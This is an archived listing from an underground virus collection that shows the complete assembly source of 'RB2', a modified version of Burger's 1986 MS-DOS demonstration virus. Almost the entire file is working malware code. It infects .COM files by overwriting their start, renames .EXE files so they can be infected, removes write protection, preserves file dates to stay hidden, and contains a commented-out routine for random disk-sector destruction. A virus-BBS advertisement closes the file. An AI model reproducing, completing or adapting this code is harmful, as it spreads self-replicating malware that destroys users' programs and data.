home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / r / rb2.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  15.5 KB  |  462 lines

  1.         page 70,120
  2.  
  3.         Name VIRUS
  4.  
  5. ;*************************************************************************
  6.  
  7.  
  8.  
  9. ;       Program Virus           Ver.:   1.1
  10.  
  11. ;       Copyright by R. Burger 1986
  12.  
  13. ;       This is a demonstration program for computer
  14.  
  15. ;       viruses. It has the ability to replicate itself,
  16.  
  17. ;       and thereby modify other programs
  18.  
  19. ;*************************************************************************
  20.  
  21.  
  22.  
  23.  
  24.  
  25.  
  26.  
  27. Code    Segment
  28.  
  29.         Assume  CS:Code
  30.  
  31. progr   equ     100h
  32.  
  33.         ORG     progr
  34.  
  35.         
  36.  
  37. ;*************************************************************************
  38.  
  39.  
  40.  
  41. ;       The three NOP's serve as the marker byte of the
  42.  
  43. ;       virus which will allow it to identify a virus
  44.  
  45. ;*************************************************************************
  46.  
  47.  
  48.  
  49. MAIN:
  50.  
  51.         nop
  52.  
  53.         nop
  54.  
  55.         nop
  56.  
  57.         
  58.  
  59. ;*************************************************************************
  60.  
  61.  
  62.  
  63. ;       Initialize the pointers
  64.  
  65. ;*************************************************************************
  66.  
  67.  
  68.  
  69.         mov ax,00
  70.  
  71.         mov es:[pointer],ax
  72.  
  73.         mov es:[counter],ax
  74.  
  75.         mov es:[disks],al
  76.  
  77.         
  78.  
  79. ;*************************************************************************
  80.  
  81.  
  82.  
  83. ;       Get the selected drive
  84.  
  85. ;*************************************************************************
  86.  
  87.  
  88.  
  89.         mov ah,19h              ; drive?
  90.  
  91.         int 21h
  92.  
  93.  
  94.  
  95. ;*************************************************************************
  96.  
  97.  
  98.  
  99. ;       Get the current path on the current drive
  100.  
  101. ;*************************************************************************
  102.  
  103.  
  104.  
  105.         mov cs:drive,al         ; save drive
  106.  
  107.         mov ah,47h              ; dir?
  108.  
  109.     mov ah,ah
  110.  
  111.         mov si,si
  112.  
  113.         mov dh,0
  114.  
  115.         add al,1
  116.  
  117.     mov dl,dl
  118.  
  119.     nop ;****
  120.  
  121.         mov dl,al
  122.  
  123.     mov dl,dl
  124.  
  125.     nop ;****               ; in actual drive
  126.  
  127.         lea si,cs:old_path
  128.  
  129.         int 21h
  130.  
  131.         
  132.  
  133. ;*************************************************************************
  134.  
  135.  
  136.  
  137. ;       Get the number of drives present.
  138.  
  139. ;       If only one drive is present, the pointer for
  140.  
  141. ;       search order will be set to search order + 6
  142.  
  143. ;*************************************************************************
  144.  
  145.  
  146.  
  147.         mov ah,0eh              ; how many disks
  148.  
  149.         mov dl,0                ;****????
  150.  
  151.         int 21h
  152.  
  153.         
  154.  
  155.         mov al,01
  156.  
  157.         cmp al,01               ; one drive?
  158.  
  159.         jnz hups3
  160.  
  161.         mov al,06
  162.  
  163.         
  164.  
  165. hups3:  mov ah,0
  166.  
  167.         lea bx,search_order
  168.  
  169.         add bx,ax
  170.  
  171.         add bx,0001h
  172.  
  173.         mov cs:pointer,bx
  174.  
  175.         clc
  176.  
  177.         
  178.  
  179. ;*************************************************************************
  180.  
  181.  
  182.  
  183. ;       Carry is set, if no more .COM's are found.
  184.  
  185. ;       Then, to avoid unnecessary work, .EXE files will
  186.  
  187. ;       be renamed to .COM file and infected. 
  188.  
  189. ;       This causes the error message "Program too large
  190.  
  191. ;       to fit in memory" when starting larger infected 
  192.  
  193. ;       EXE programs.
  194.  
  195. ;*************************************************************************
  196.  
  197.  
  198.  
  199. change_disk:
  200.  
  201.         jnc no_name_change
  202.  
  203.         mov ah,17h              ; change exe to com
  204.  
  205.         lea dx,cs:maske_exe
  206.  
  207.         int 21h
  208.  
  209.         cmp al,0ffh
  210.  
  211.         jnz no_name_change      ; .EXE found?
  212.  
  213.  
  214.  
  215. ;*************************************************************************
  216.  
  217.  
  218.  
  219. ;       If neither .COM nor .EXE is found, then sectors will
  220.  
  221. ;       be overwritten depending on the system time in
  222.  
  223. ;       milliseconds. This is the time of the complete
  224.  
  225. ;       "infection" of a storage medium. The virus can find
  226.  
  227. ;       nothing more to infect and starts its destruction.
  228.  
  229. ;*************************************************************************
  230.  
  231.  
  232.  
  233. ;        mov ah,2ch     ; read system clock
  234.  
  235. ;        int 21h
  236.  
  237. ;        mov bx,cs:pointer
  238.  
  239. ;        mov al,cs:[bx]
  240.  
  241. ;        mov bx,dx
  242.  
  243. ;    nop ;****
  244.  
  245. ;        mov cx,2
  246.  
  247. ;    nop ;****
  248.  
  249. ;        mov dh,0
  250.  
  251. ;        int 26h         ; write crap on disk
  252.  
  253.  
  254.  
  255. db ' RB2 - LiquidCode <tm> '        
  256.  
  257. ;*************************************************************************
  258.  
  259.  
  260.  
  261. ;       Check if the end of the search order table has been
  262.  
  263. ;       reached. If so, end.
  264.  
  265. ;*************************************************************************
  266.  
  267.  
  268.  
  269. no_name_change:
  270.  
  271.         mov bx,cs:pointer
  272.  
  273.         dec bx
  274.  
  275.         mov cs:pointer,bx
  276.  
  277.         mov dl,cs:[bx]
  278.  
  279.         cmp dl,0ffh
  280.  
  281.         jnz hups2
  282.  
  283.         jmp hops
  284.  
  285.         
  286.  
  287. ;*************************************************************************
  288.  
  289.  
  290.  
  291. ;       Get new drive from search order table and
  292.  
  293. ;       select it.
  294.  
  295. ;*************************************************************************
  296.  
  297.  
  298.  
  299. hups2:
  300.  
  301.         mov ah,0eh
  302.  
  303.     mov dl,2 ;***** +
  304.  
  305.         int 21h         ; change disk
  306.  
  307.         
  308.  
  309. ;*************************************************************************
  310.  
  311.  
  312.  
  313. ;       Start in the root directory
  314.  
  315. ;*************************************************************************
  316.  
  317.  
  318.  
  319.         mov ah,3bh      ; change path
  320.  
  321.         lea dx,path
  322.  
  323.         int 21h
  324.  
  325.         jmp find_first_file
  326.  
  327.         
  328.  
  329. ;*************************************************************************
  330.  
  331.  
  332.  
  333. ;       Starting from the root, search for the first subdir
  334.  
  335. ;       First convert all .EXE files to .COM in the old 
  336.  
  337. ;       directory.
  338.  
  339. ;*************************************************************************
  340.  
  341.  
  342.  
  343. find_first_subdir:
  344.  
  345.         mov ah,17h              ; change exe to com
  346.  
  347.         lea dx,cs:maske_exe
  348.  
  349.         int 21h
  350.  
  351.         mov ah,3bh              ; use root dir
  352.  
  353.         lea dx,path
  354.  
  355.         int 21h
  356.  
  357.         mov ah,04eh             ;Search for first subdirectory
  358.  
  359.         mov cx,00010001b        ; dir mask                        
  360.  
  361.         lea dx,maske_dir
  362.  
  363.         int 21h
  364.  
  365.         jc change_disk
  366.  
  367.         
  368.  
  369.         mov bx,CS:counter
  370.  
  371.         INC BX
  372.  
  373.         DEC bx
  374.  
  375.         jz  use_next_subdir
  376.  
  377.         
  378.  
  379. ;*************************************************************************
  380.  
  381.  
  382.  
  383. ;       Search for the next subdir. If no more directories
  384.  
  385. ;       are found, the drive will be changed.
  386.  
  387. ;*************************************************************************
  388.  
  389.  
  390.  
  391. find_next_subdir:
  392.  
  393.         mov ah,4fh      ; search for next subdir
  394.  
  395.         int 21h
  396.  
  397.         jc change_disk
  398.  
  399.         dec bx
  400.  
  401.         jnz find_next_subdir
  402.  
  403.         
  404.  
  405. ;*************************************************************************
  406.  
  407.  
  408.  
  409. ;       Select found directory
  410.  
  411. ;*************************************************************************
  412.  
  413.  
  414.  
  415. use_next_subdir:
  416.  
  417.         mov ah,2fh      ; get dta address
  418.  
  419.         int 21h
  420.  
  421.         add bx,1ch
  422.  
  423.         mov es:[bx],'\ ' ; address of name in dta
  424.  
  425.         inc bx
  426.  
  427.         push ds
  428.  
  429.         mov ax,es
  430.  
  431.         mov ds,ax
  432.  
  433.         mov dx,bx
  434.  
  435.         mov ah,3bh      ; change path
  436.  
  437.         int 21h
  438.  
  439.         pop ds
  440.  
  441.         mov bx,cs:counter
  442.  
  443.         inc bx
  444.  
  445.         mov CS:counter,bx
  446.  
  447.         
  448.  
  449. ;*************************************************************************
  450.  
  451.  
  452.  
  453. ;       Find first .COM file in the current directory.
  454.  
  455. ;       If there are non, search the next directory.
  456.  
  457. ;*************************************************************************
  458.  
  459.  
  460.  
  461. find_first_file:
  462.  
  463.         mov ah,04eh     ; Search for first
  464.  
  465.         mov cx,00000001b ; mask
  466.  
  467.         lea dx,maske_com        ;
  468.  
  469.         int 21h
  470.  
  471.         jc find_first_subdir
  472.  
  473.         jmp check_if_ill
  474.  
  475.         
  476.  
  477. ;*************************************************************************
  478.  
  479.  
  480.  
  481. ;       If the program is already infected, search for
  482.  
  483. ;       the next program.
  484.  
  485. ;*************************************************************************
  486.  
  487.  
  488.  
  489. find_next_file:
  490.  
  491.         mov ah,4fh      ; search for next
  492.  
  493.         int 21h
  494.  
  495.         jc  find_first_subdir
  496.  
  497.         
  498.  
  499. ;*************************************************************************
  500.  
  501.  
  502.  
  503. ;       Check if already infected by the virus.
  504.  
  505. ;*************************************************************************
  506.  
  507.  
  508.  
  509. check_if_ill:
  510.  
  511.         mov ah,3dh      ; open channel
  512.  
  513.         mov al,02h      ; read/write
  514.  
  515.         mov dx,9eh      ; address of name in dta
  516.  
  517.         int 21h
  518.  
  519.         mov bx,ax       ; save channel
  520.  
  521.         mov ah,3fh      ; read file
  522.  
  523.         mov cx,buflen   ;
  524.  
  525.         mov dx,buffer   ; write in buffer
  526.  
  527.         int 21h
  528.  
  529.         mov ah,3eh      ; CLOSE FILE
  530.  
  531.         int 21h
  532.  
  533.         
  534.  
  535. ;*************************************************************************
  536.  
  537.  
  538.  
  539. ;       Here we search for three NOP's.
  540.  
  541. ;       If present, there is already an infection. We must
  542.  
  543. ;       then continue the search.
  544.  
  545. ;*************************************************************************
  546.  
  547.  
  548.  
  549.         mov bx,cs:[buffer]
  550.  
  551.         cmp bx,9090h
  552.  
  553.         jz find_next_file
  554.  
  555.         
  556.  
  557. ;*************************************************************************
  558.  
  559.  
  560.  
  561. ;       Bypass MS-DOS write protection if present
  562.  
  563. ;*************************************************************************
  564.  
  565.  
  566.  
  567.         mov ah,43h      ; write enable
  568.  
  569.         mov al,0
  570.  
  571.         mov dx,9eh      ; address of name in dta
  572.  
  573.         int 21h
  574.  
  575.         mov ah,43h
  576.  
  577.         mov al,01h
  578.  
  579.         and cx,11111110b
  580.  
  581.         int 21h
  582.  
  583.         
  584.  
  585. ;*************************************************************************
  586.  
  587.  
  588.  
  589. ;       Open file for write access.
  590.  
  591. ;*************************************************************************
  592.  
  593.  
  594.  
  595.         mov ah,3dh      ; open channel
  596.  
  597.         mov al,02h      ; read/write
  598.  
  599.         mov dx,9eh      ; address of name in dta
  600.  
  601.         int 21h
  602.  
  603.         
  604.  
  605. ;*************************************************************************
  606.  
  607.  
  608.  
  609. ;       Read date entry of program and save for future use.
  610.  
  611. ;*************************************************************************
  612.  
  613.  
  614.  
  615.         mov bx,ax       ; channel
  616.  
  617.         mov ah,57h      ; get date
  618.  
  619.         mov al,0
  620.  
  621.         int 21h
  622.  
  623.         push cx         ; save date
  624.  
  625.         push dx
  626.  
  627.         
  628.  
  629. ;*************************************************************************
  630.  
  631.  
  632.  
  633. ;       The jump located at address 0100h of the program
  634.  
  635. ;       will be saved for future use.
  636.  
  637. ;*************************************************************************
  638.  
  639.  
  640.  
  641.         mov dx,cs:[conta]       ; save old jmp
  642.  
  643.         mov cs:[jmpbuf],dx
  644.  
  645.         mov dx,cs:[buffer+1]    ; save new jump
  646.  
  647.         lea cx,cont-100h
  648.  
  649.         sub dx,cx
  650.  
  651.         mov cs:[conta],dx
  652.  
  653.         
  654.  
  655. ;*************************************************************************
  656.  
  657.  
  658.  
  659. ;       The virus copies itself to the start of the file
  660.  
  661. ;*************************************************************************
  662.  
  663.  
  664.  
  665.         mov ah,40h      ; write virus
  666.  
  667.         mov cx,buflen   ; length buffer
  668.  
  669.         lea dx,main     ; write virus
  670.  
  671.         int 21h
  672.  
  673.         
  674.  
  675. ;*************************************************************************
  676.  
  677.  
  678.  
  679. ;       Enter the old creation date of the file.
  680.  
  681. ;*************************************************************************
  682.  
  683.  
  684.  
  685.         mov ah,57h      ; write date
  686.  
  687.         mov al,1
  688.  
  689.         pop dx
  690.  
  691.         pop cx          ; restore date
  692.  
  693.         int 21h
  694.  
  695.         
  696.  
  697. ;*************************************************************************
  698.  
  699.  
  700.  
  701. ;       Close the file.
  702.  
  703. ;*************************************************************************
  704.  
  705.  
  706.  
  707.         mov ah,3eh      ; close file
  708.  
  709.         int 21h
  710.  
  711.         
  712.  
  713. ;*************************************************************************
  714.  
  715.  
  716.  
  717. ;       restore the old jump address.
  718.  
  719. ;       The virus saves at address "conta' the jump which
  720.  
  721. ;       was at the start of the host program.
  722.  
  723. ;       This is done to preserve the executability of the
  724.  
  725. ;       host program as much as possible.
  726.  
  727. ;       After saving itstill works with the jump address
  728.  
  729. ;       contained in the virus. The jump address in the
  730.  
  731. ;       virus differs from the jump address in memory
  732.  
  733. ;
  734.  
  735. ;*************************************************************************
  736.  
  737.  
  738.  
  739.         mov dx,cs:[jmpbuf]      ; restore old jmp
  740.  
  741.         mov cs:[conta],dx
  742.  
  743. hops:   nop
  744.  
  745.         call use_old
  746.  
  747.         
  748.  
  749. ;*************************************************************************
  750.  
  751.  
  752.  
  753. ;       Continue with the host program.
  754.  
  755. ;*************************************************************************
  756.  
  757.  
  758.  
  759. cont    db 0e9h         ; make jump
  760.  
  761. conta   dw 0
  762.  
  763.         mov ah,00
  764.  
  765.         int 21h
  766.  
  767.         
  768.  
  769. ;*************************************************************************
  770.  
  771.  
  772.  
  773. ;       reactivate the selected drive at the start of the
  774.  
  775. ;       program.
  776.  
  777. ;*************************************************************************
  778.  
  779.  
  780.  
  781. use_old:
  782.  
  783.         mov ah,0eh      ; use old drive
  784.  
  785.         mov dl,cs:drive
  786.  
  787.         int 21h
  788.  
  789.         
  790.  
  791. ;*************************************************************************
  792.  
  793.  
  794.  
  795. ;       Reactivate the selected path at the start of the
  796.  
  797. ;       program.
  798.  
  799. ;*************************************************************************
  800.  
  801.  
  802.  
  803.         mov ah,3bh      ; use old dir
  804.  
  805.         lea dx,old_path-1       ; get old path and backslash
  806.  
  807.         int 21h
  808.  
  809.         ret
  810.  
  811.         
  812.  
  813.  
  814.  
  815. search_order    db 0ffh,1,0,2,3,0ffh,00,0ffh
  816.  
  817. pointer         dw 0000         ; pointer f. search order
  818.  
  819. counter         dw 0000         ; counter f. nth search
  820.  
  821. disks           db 0            ; number of disks
  822.  
  823.  
  824.  
  825.  
  826.  
  827. maske_com       db "*.com",00   ; search for com files
  828.  
  829. maske_dir       db "*",00       ; search dir's
  830.  
  831. maske_exe       db 0ffh,0,0,0,0,0,00111111b
  832.  
  833.                 db 0,"????????exe",0,0,0,0
  834.  
  835.                 db 0,"????????com",0
  836.  
  837. maske_all       db 0ffh,0,0,0,0,0,00111111b
  838.  
  839.                 db 0,"???????????",0,0,0,0
  840.  
  841.                 db 0,"????????com",0
  842.  
  843.                 
  844.  
  845. buffer equ 0e000h       ; a safe place
  846.  
  847.  
  848.  
  849. buflen equ 230h          ; length of virus !!!!!!
  850.  
  851.                         ;      careful
  852.  
  853.                         ; if changing !!!!!!
  854.  
  855.                         
  856.  
  857. jmpbuf equ buffer+buflen        ; a safe place for jump
  858.  
  859. path   db  "\",0                ; first path
  860.  
  861. drive  db  0                    ; actual drive
  862.  
  863. back_slash db "\"
  864.  
  865. old_path  db 32 dup(?)          ; old path
  866.  
  867.  
  868.  
  869. code    ends
  870.  
  871.  
  872.  
  873. end main
  874.  
  875.  
  876.  
  877. ;*************************************************************************
  878.  
  879. ;       WHAT THE PROGRAM DOES:
  880.  
  881. ;
  882.  
  883. ;        When the program is started, the first COM file in the root
  884.  
  885. ;        directory is infected. You can't see any changes to the 
  886.  
  887. ;        directory entries. But if you look at the hex dump of an
  888.  
  889. ;        infected program, you can see the marker, which in this case 
  890.  
  891. ;        consists of three NOP's (hex 90). WHen the infected program 
  892.  
  893. ;        is started, the virus will first replicate itself, and then
  894.  
  895. ;        try to run the host program. It may run or it may not, but 
  896.  
  897. ;        it will infect another program. This continues until all
  898.  
  899. ;        the COM files are infected. The next time it is run, all
  900.  
  901. ;        of the EXE files are changed to COM files so that they can
  902.  
  903. ;        be infected. In addition, the manipulation task of the virus
  904.  
  905. ;        begins, which consists of the random destruction of disk
  906.  
  907. ;        sectors.                        
  908.  
  909. ;*************************************************************************
  910.  
  911.  
  912.  
  913. ;  ─────────────────────────────────────────────────────────────────────────
  914.  
  915. ;  ────────────────────> and Remember Don't Forget to Call <────────────────
  916.  
  917. ;  ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  918.  
  919. ;  ─────────────────────────────────────────────────────────────────────────
  920.  
  921.  
  922.  
  923.